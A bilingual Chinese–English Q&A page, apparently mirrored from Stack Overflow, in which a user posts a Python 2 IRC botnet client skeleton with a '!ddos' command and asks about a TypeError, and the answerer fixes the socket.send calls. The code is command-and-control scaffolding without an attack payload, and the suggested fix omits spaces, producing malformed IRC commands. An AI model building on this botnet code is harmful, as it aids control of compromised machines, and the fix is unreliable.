获得"TypeError:需要整数".在我的剧本中 [英] Getting a "TypeError: an integer is required" in my script

查看:39
本文介绍了获得"TypeError:需要整数".在我的剧本中的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

出于教育原因,我试图使用Python创建一个僵尸网络,但不断出现以下错误:

I am trying to make a botnet using Python, for educational reasons, and I keep getting the following error:

TypeError:必须为整数

TypeError: an integer is required

这是我的剧本:

import os
import socket
import random
import string

# string.letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
a = random.choice(string.letters) 
b = random.choice(string.letters)
c = random.choice(string.letters)
d = random.choice(string.letters)   
e = random.choice(string.letters)
name = 'bot' + a + b + c + d + e

network = 'chat.freenode.net'
port = 6667
irc = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
irc.connect ( ( network, port ) )
print irc.recv ( 4096 )

irc.send ('NICK', name + '\r\n')
irc.send ( 'USER', name, name, name, ':Python IRC\r\n' )
irc.send ( 'JOIN #occult_hand\r\n' )
irc.send ( 'PRIVMSG #occult_hand :Hello World.\r\n' )

while True:
    data = irc.recv ( 4096 )
    if data.find ( 'PING' ) != -1:
        irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
    if data.find ( '!shutdown' ) != -1:
        irc.send ( "PRIVMSG #occult_hand :Fine, if you don't want me\r\n" )
        irc.send ( 'QUIT\r\n' )
    if data.find ( '!list' ) != -1:
        irc.send ( 'PRIVMSG #occult_hand :' + name, 'ONLINE\r\n' )
    if data.find ( '!ddos' ) != -1:
        irc.send ( 'PRIVMSG #occult_hand :Enter a target\r\n' )
    if data.find ( 'KICK' ) != -1:
        irc.send ( 'JOIN #occult_hand\r\n' )
    if data.find ('cheese') != -1:
        irc.send ( 'PRIVMSG #occult_hand :WHERE!!!!!!\r\n' )
    print data

推荐答案

我检查了这个问题,似乎您应该在其中放置一个整数(UNIX套接字常量)以使其起作用,但是从您的以后的代码中,我认为您只想提供消息,但是需要这个可选参数,因此您可以更改

I looked up for this issue, seems like you should put a integer ( UNIX socket constant ) there to let it work, but from your later code, I assume you just want to give messages but this optional parameter, so you could change

irc.send ('NICK', name + '\r\n')
irc.send ( 'USER', name, name, name, ':Python IRC\r\n' )

irc.send ('NICK' + name + '\r\n')
irc.send ( 'USER' + name + name + name + ':Python IRC\r\n' )

我猜您正在将python的字符串连接运算符+与其他语言的,混合使用:) 我在盒子中测试了更改后的版本,尽管我仍然不知道此代码的作用,但是它不会再导致该错误了,请您解释一下:)

I guess you're mixing python's string concatenation operator + with , from some other languages :) I tested the changed version in my box, it won't cause the error anymore, though I still don't know what this code does, could you please explain a bit :)

这篇关于获得"TypeError:需要整数".在我的剧本中的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆